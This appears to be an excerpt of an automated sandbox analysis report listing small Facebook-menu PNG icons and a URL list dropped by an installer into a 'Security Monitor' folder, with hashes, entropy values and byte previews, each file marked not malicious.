SHA-256:	F2B9D0C45FA2A9B15BB9694C26BD75B45B4E011B99D80604D2984C0F856B2AD9
SHA-512:	79E43D69F7973750B534BDE680380BC912B906F3D3D848255BA3F8ADE4DC7FAD460CD0FF14230AEAED4285F291D6510AF57FA1F9876ABEFDE1F6D56890B35D03
Malicious:	false
Reputation:	unknown
Preview:	[Welcome]..ID="facebook.com/?sk=welcome"..[News]..ID="facebook.com/?sk=nf"..[Messages]..ID="facebook.com/messages"..[Events]..ID="facebook.com/events"..[Find friends]..ID="facebook.com/find-friends/browser"..[Invite friends]..ID="facebook.com/?sk=ff"..[Friends]..ID="facebook.com/lists"..[Friends List]..ID="/friends?ft_ref=flsa"..[Groups]..ID="facebook.com/bookmarks/groups"..[Settings]..ID="facebook.com/settings?tab=account"..[Security]..ID="facebook.com/settings?tab=security"..[Notifications]..ID="facebook.com/settings?tab=notifications"..[Subscribers]..ID="facebook.com/settings?tab=subscribers"..[Apps]..ID="facebook.com/settings?tab=applications"..[Payments]..ID="facebook.com/settings?tab=payments"..[Facebook Ads]..ID="facebook.com/settings?tab=ads"..[Gifts]..ID="facebook.com/settings?tab=gifts"..[Privacy]..ID="facebook.com/settings/?tab=privacy"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Apps.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	409
Entropy (8bit):	7.015430309226083
Encrypted:	false
SSDEEP:	12:6v/78/ntuuZyeN46QM3TNzORtgDjrSNNXH:j1yA47QRORtgXuL
MD5:	45409D06153FF84BDB5AB3E30C7CAB12
SHA1:	AB84313D7A29E9D9C6308E3B99CB247AAADE34C4
SHA-256:	52611BFC775199483CF8216F2FAEC18FD56B9D895A1173338B36BE5F14F5FC06
SHA-512:	7C21E74A7787B1F26F0A5A4ADC4B4D469C069F6A066E4AE45D72F5515696313BAEC74C9435E04B812521339918E08E2136EBAA81E4351053AF9D372BB372F377
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O.S...0....fH&........3S.......f0s.}......Z...5...-,aM^zw.{}m..2..x...2.YC....$..u..........9I..-...(.R wf.G..0....>+...lr..f../R*q.q.3.......4M.`..q.c.....$6M..1&.K.F{.6....U=I..?...M.h1dFQd.`.#...zew..\.EAA......v...$...\.$.S.....K.W.b.d...w.....R.F......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Events.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 15 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	304
Entropy (8bit):	6.615232112735145
Encrypted:	false
SSDEEP:	6:6v/lhP8LMR/C+wZA3te4YeOiG/WrSUAHmrOk3I9/t6CEyO9hbp:6v/7V/nw5WGUAHmrJ3Wl3Ol
MD5:	7710D6BF6295D39378CE75797D7509B5
SHA1:	090E061712842B2611BDDF21DE8FDC016DE827AB
SHA-256:	3A098E07391825DB6349455DAF4215AE19C52A55B6838F7539FC1D439F5988A0
SHA-512:	725B1F1292B10C80FAF1B3F9799A8833866829687A798037FEA2477F8E567E077FD2868B1B177D74B7C8C86F501C8E9706733D600774BECB53141BD136C98F5B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............V%.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.``........@..:;..A........w...'..5W...'....h.a...Pw0..lb 9..0..q.."..Z.~.9..C.....31....Dk.16..g....b.>.`#..;W.....A.1H=H.C....Pc...b.>. ..b)2........+4F....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Facebook Ads.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	417
Entropy (8bit):	6.94896891695791
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te4bUHmsrNAhcSAZF8qYe+QRePg5gJjsDzEm2I81SwJL2l/sc:6v/78/nXUfyFM8q5Ig5gIzjMZSN
MD5:	4C24F1DEA3731AF8E87753BF5809B7AA
SHA1:	E66175AEF9B3B505215D5B8E2502C78A6662493A
SHA-256:	501002F4107D366ABFD5659C858B56EF0A46C053236A83C2BF44AEAA4D41F510
SHA-512:	7AE28379921677BAAD7C011A4FD5D8BC61740A4F4F51D4C726B7765AD0FA4FAE098F3B3EC6E05043DB050F2E0028265DE7A2FE7943A6462790B590FF8787C917
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8OcH....V. ..c..@._\|xD....4.....a.......:r.A\..?..dt.A....'.A.P.x...H".e...}...O....H.n..G..#cl. k...b.....#cl. ..s...W..............l..n.......A.$.w...g..0<E....}...Y.,.7...s..S..?y...A.%].Q0..dq.. ...'U.DE....3.Y.l...........HpJ.e@......?y..'~...n.@.q*@....Pm...uJ....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Find friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	414
Entropy (8bit):	6.921441707444873
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNq0dooGB9bqqTLPolIae+w2iYjDbg2UOj93OFo4wrbp:6v/78/nilvunTLseF2iYjfg29VOFS
MD5:	6D7B39EE6BA125324EC0457FB8B1CF30
SHA1:	E7B708B0D544F6B3137AB7E06914C8F318859DB3
SHA-256:	7A9A198F92900BF042FEDB164367091853F9E3517B389197234889E68A05B04E
SHA-512:	14CFE6B76479E2BD27E8893E2096B1A27B9B8726E3D70F64F163BEAD669E06D793AD176DF19073ECD5D491E7386A66F74E7AE8734DAC56DD292E401BD2382033
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.T .q....U.Sk6.'.a5...o..............dHd....W...0s...E+)0`.. .IrA.P....h.y..v....Y.......gff.1H....n.O.^.6..I.e#;.....G. .....n3.v...Ov.1...@..0 .a.........S...a@$0.;g.B..f.6..x!...}.!..t\|........#...+..._..?..dL(.a..v.O...}.......F..8...P.3A6.'&..P.....e.K......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Friends List.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Gifts.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	331
Entropy (8bit):	6.6701546506374205
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teRZQUgXtmGvGDJ0IkloKlVJjh60HEwTp:6v/78/nGboZvGDQbRF9
MD5:	CC83BBCB39E5B47545CBDFBABFE69864
SHA1:	C2EBFD1842B6877B69F32E00AE7A55BCFA063802
SHA-256:	71197BC1C1D20F42851D4F5ABD91CD47D6C52E9C0100CEC8FBCC57B2E515B4B3
SHA-512:	929369F0D508A6326C0019701CA56E4694109DF2D2EE5372B6F2227F16E7FAC367263CF4065E8E493CC2D69129C116D582076040CBC71A70AF4CCD128BC62165
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc` ..t.>....9A.@E.../...b. ...`..H...Ob..).j...?.q..........0A5&!..r..T\|1A......c.Wpj..R....I.....4......K......@z....4......../ ?.;~..o.4.....(.......E%z....J.@J@"..r.....".#....4.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Groups.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	6.666726809754627
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teHAFYqNQHvot6aM1nqJyVlMt+OxMp:6v/78/noAF2vonMDHs+Ox+
MD5:	7D35A55137029755B25CA2B25F54D7AE
SHA1:	22C1FA56B55C250889EB7B2AECE02803F34E4D43
SHA-256:	07256C3BA7DF49D4258054B35AFD01555CC25BD32D19DA852F1077C5B298A8CD
SHA-512:	2FFE767C9FCE4BC994460E7071579B6DF94A650FF9E3F9CC0538D599CD40178304302583C826F9CF39BAD2F160433E264BD2265DB17D016FA60158EF34461D0A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`..L.........@...K.....?..O....Y.e...m./...7.....A. .Y-V.@.a......I6...p. C@\|.!X].jZ... ........n....A\|......l...)\|py5..77...X.....p.a....^@.@........x.@Jz...$..^......7.23.....y..?..k.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Invite friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.603752167197913
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te+/CG3J1R7/1JrZywu9ym9mmAivY6Ppmj/jp:6v/78/nfCG3JHVywuUm9mmAiQ6Bmh
MD5:	58280774747B0A7F0CA8B29DACA0B917
SHA1:	0BEEDF45E1CC739DAD3886AD1532A05BDFD2A3E8
SHA-256:	A7FA8ED622AECB52E7FDB363B32CC44C3A6FF5837FF78917DD177DBBE15B7DD6
SHA-512:	21FCDC686E3B700753E975C7A78884E7C0EBAF0ADABF13152B199B97F7F1F6F8FBAF1295ABDA7E2FA5D81683894EB280C1AA92E6695AEA56A289E9F17AE4095E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.....?k1Y......g...s.!.......h...,.........3x..k`>.F....`.P.S....7..O`.A4.}'.]....`..`.@4Lq..`.@4^.`....X.!..r@b."r."..l.r.P/.T..$9!..].//XG...4.\|.........4..'h.H...........CK.Tl.u....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Messages.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\News.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	296
Entropy (8bit):	6.500966192845998
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teBQFMnlqsTJee5uicbPfZSyxX0GUd/eup:6v/78/nIQFMnkyf54rfsrpz
MD5:	1374A978134A935973CAF3CD4BFD5DD6
SHA1:	3A24FBE3ACDA81875702DE3DC013EA3C3B717AB5
SHA-256:	DF28F5437300E6BF466FED1E74E785D4BD205ADDB1AACCBB37F51E7FD79B9C13
SHA-512:	076C7993D4547042FF31C8560FC3C0A699C940CAC85668D9622E6B5F26F26C90DB5E395A1AEC0EEACDF842996A5D734FBCC310638C0D3E4C97E328419ED4000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.&...<...I.....4N.6.?).d...7...2..{..YC...a5.b...h....A..GX1H...(6...d...p....$.^.........w.<.....@..]XJ....K...(.....X^d.2......R..G... .k..^.j....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Notifications.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	288
Entropy (8bit):	6.530333940085824
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNpjvb61Qo2SAo+yeZG7q5Vp:6v/78/n+jDqQmEyeZ8g
MD5:	EE2EC82FDFACF590ED0211B44987C617
SHA1:	71F0AFC24952BB5C2F334C56F801470176BCCEC2
SHA-256:	F8199692B7CE8D0C77D9DED524F679D64FF7723421345425B431EE933868AAC0
SHA-512:	220A8C913FED060F38FCA7835D508D8D88531EF940532E8173257741433ED7FB21223CD2EE1EDDB5E770BD44AA632F8B043481CED038167901D65C74A6CC6192
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`...:.?...?....8H...`C.*\.a....V.1H.........>...ge..\|...w..'...A.... 5-..`..U.}R.I. }.......y..).5..7.s.....u...?.p...t>..$.R.l ..[aR.O......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Payments.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	307
Entropy (8bit):	6.610384624893472
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tepODZkidAJRzwBtNpQ+YiMpOhbi9eo77Vp:6v/78/nffTBvpQRiombi9j7
MD5:	06CE05DA1418C5F5B952911492F1D313
SHA1:	17A0D4EBD1E5A5BD338ECCAEF1CA9944EEC7C156
SHA-256:	380154EAE1DE86B8AA27433A0044FBB471A0C067E14DD8DD740F6419A06F0EFB
SHA-512:	3735BF636D31B885B429EA1C70CCC3850666A801C53B40F5570EF584D6180486E22A06DB31757987DDC5EDBB209CBF2790A8DB2566C8962107519CEC75F7A871
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.p.i.....da.^.....>..Az..x{{...g..^ ..7...a....@.c.............>0...5.W.X...;......765.....b]........... .06..`~.?........0Y..{......_......,..Kqf....l9pA}....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Privacy.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	386
Entropy (8bit):	7.00776812280233
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tedVeog/dmQEyGZ34lO47R4pyOcVuAUrm7OGBQ6bp:6v/78/nyA5dmQHuU7SpyOcVtz/Bt1
MD5:	9321CA9A72F08DDF4987816DDCA3D413
SHA1:	DF2EE42EB884D660440C3EBE6D8227EA443DE23A
SHA-256:	46BD2F7186989CAA26BF20092F0BDBA9EC94357A69940F6C8EA16E8E5C0FAEA7
SHA-512:	F37F4348594CB29622B0CEFBD8515772DE49DE8040F906209D6EA44844BDBDDE1C88DF1167B13AFF3D3BF59A41831E7895EF1B4F5C03774B1060BD8FF5D76EAA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O./..P........a.h...a..n0..e.."XV.k........9........x....s.o.M.Z..}1MSt]W .+.....M.....E.$I.@.G.0...LA...X.%.a(..Q+6...Tr.*.h..@...9.54j.&.....JcnL.G...x.T..........Z...h.6....<..V..j..<y.f.@S2...d...O..^.T....T...{2..u.....=.q..x.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Security.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	459
Entropy (8bit):	7.157014739512398
Encrypted:	false
SSDEEP:	12:6v/78/nhHoLgTdcsOkCuZ3I6xhC3kTGtjzx7:XdXau5I6pTi17
MD5:	73A35AA153A7310E1DE170CE339F0242
SHA1:	85016176CB165872D08073CB27F23600599F338C
SHA-256:	1B7F27805D3486ACC7D96371EA3E91436D9347D7D0E70ACE883E54BDF8ACCA40
SHA-512:	2EF8B50F7FB23D219DF2AD666665A90C18E83DE24685DD17107F09100E493611C480EC73CBDC3B5CFC07B6FE60CB74506E08F01C9C9144A1A1AD541AD6B6F36F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....:IDAT8O.SAr.0.._...<.+.-?(\..v..!QwW....Pf48...Z...w>..x....{\|..n.X.Y....m.....g..........._.. .+.~..Y.?Z ......D..C......J..n...B..a.l...............,F..()`....... [ND9.n....Sr... .....ke...'...!.K...y..TFSz.=....2.....ZQ..K...8..=.8Q@.Y.Z..y.D.a.\|...(....G.0.)...g`<D.....4TA_4u....N.zp.OF....\...#.N.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Settings.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.089593114616156
Encrypted:	false
SSDEEP:	12:6v/78/nYc+5kz1ODz/QkR2gWWQQNjWPsiVY:SezqjQW2gfNjIsf
MD5:	011D15EB16A43A3A209EF0AA0AA18EEE
SHA1:	AA2B6FA0994415F1F8375FDA46EE3F3336777D9F
SHA-256:	12DC59580F6AD444E19F24260219FA0B9FDDC1B5873C1F9361C2063A8DC1A4E5
SHA-512:	81D9B1576636754E746523C032D822BB458D2F0FFC3632A132D3C64F32637888C5ADED498060D6020D17CC989DE96D639F8FDAA569F338ACCD810622D0C3C58B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....NIDAT8Oc`.......w...Q.+.....?>..r)5k...._....EG.G.-'.-...O.Z...p.....U..3.+m...+O..0w.....s.3.=y...Oa...O.......Z..5$.`...K.....z.........^...Y.6`.zH@.......#....ir...=.....E#(-....Z6.o...l....I2 .l....G..LZ\|.....8{.....;f.@.D.a C..{...../l..?.`..fX.....4...........[g.C..9)...)......w........;CP3.. . }p.....'.......{.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Subscribers.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	410
Entropy (8bit):	6.98484459691547
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teDEQYCdbzRpDoi7/hZTnWjiGTwiHiyiTVd7UiBwUCmi7yp:6v/78/nKEQYyb9pEm/DWjMJLiZ974
MD5:	0FB46F0A45701EA2D22DCAB7E82C8B5D
SHA1:	71FE89922F1F4DE4C1F7101607A18402F436069A
SHA-256:	C28F498E0C59B1E3741850574D9E7F9282D4BA6F90BFE175B3F24B69561A52EC
SHA-512:	B1E780BDED7AD696E28DC20FA8FEDC11C7A423D134083A6F24DA9D6044D67D1997FED26425939523B02B044FDBEA28D2C05BA039C5024B43DD87C4CECF88CD9C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O..K..0..=....^....\.J.**.. ...Ek...T..Vt..$&}D...tf..3mRF.E.BQ+......r.....N?......O..A6.t...r.@G..r.P..r..P.1V... ;@.E..E..XS.Q@.@... ,...W......Y.#..{.p..3@........ ..`!@@w.#...."...\|6.D.....=..(....\|...<.@.Z.......b]....7;Z....~..K...7AN...'...L..P.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Welcome.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	259
Entropy (8bit):	6.365804366050187
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teZ439CTUXhR7P/jlOS+sknw69p:6v/78/n1NuUXP7PIS+sknTT
MD5:	845E4E3FF8D9BA304B19010CCBD47312
SHA1:	04EB66B1136F8CE4B6564B32E4BB48A48CDF245A
SHA-256:	52F38FE15504A9E7372B94C8881D1304C718673192CD64F0B90696F2BDC797A1
SHA-512:	84BE706BEF872CC3705ECEC96C227285FC1AC3FB6DAAAD1175C6F70DB5D4603BA5859869BD1DB4AB539193971252AE0CACC7C4D769DF589C221280E15DCDB564
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....rIDAT8Oc...?.%..9.r.....$a...^...j..'....._......H6.Y3Y...L...6..i4........0>.. )D..Ah.k...-[pbX."...D...83Q.........@X....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-0KNDI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	296
Entropy (8bit):	6.500966192845998
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teBQFMnlqsTJee5uicbPfZSyxX0GUd/eup:6v/78/nIQFMnkyf54rfsrpz
MD5:	1374A978134A935973CAF3CD4BFD5DD6
SHA1:	3A24FBE3ACDA81875702DE3DC013EA3C3B717AB5
SHA-256:	DF28F5437300E6BF466FED1E74E785D4BD205ADDB1AACCBB37F51E7FD79B9C13
SHA-512:	076C7993D4547042FF31C8560FC3C0A699C940CAC85668D9622E6B5F26F26C90DB5E395A1AEC0EEACDF842996A5D734FBCC310638C0D3E4C97E328419ED4000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.&...<...I.....4N.6.?).d...7...2..{..YC...a5.b...h....A..GX1H...(6...d...p....$.^.........w.<.....@..]XJ....K...(.....X^d.2......R..G... .k..^.j....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-3QASK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 15 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	304
Entropy (8bit):	6.615232112735145
Encrypted:	false
SSDEEP:	6:6v/lhP8LMR/C+wZA3te4YeOiG/WrSUAHmrOk3I9/t6CEyO9hbp:6v/7V/nw5WGUAHmrJ3Wl3Ol
MD5:	7710D6BF6295D39378CE75797D7509B5
SHA1:	090E061712842B2611BDDF21DE8FDC016DE827AB
SHA-256:	3A098E07391825DB6349455DAF4215AE19C52A55B6838F7539FC1D439F5988A0
SHA-512:	725B1F1292B10C80FAF1B3F9799A8833866829687A798037FEA2477F8E567E077FD2868B1B177D74B7C8C86F501C8E9706733D600774BECB53141BD136C98F5B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............V%.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.``........@..:;..A........w...'..5W...'....h.a...Pw0..lb 9..0..q.."..Z.~.9..C.....31....Dk.16..g....b.>.`#..;W.....A.1H=H.C....Pc...b.>. ..b)2........+4F....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-48GKB.tmp

Download File

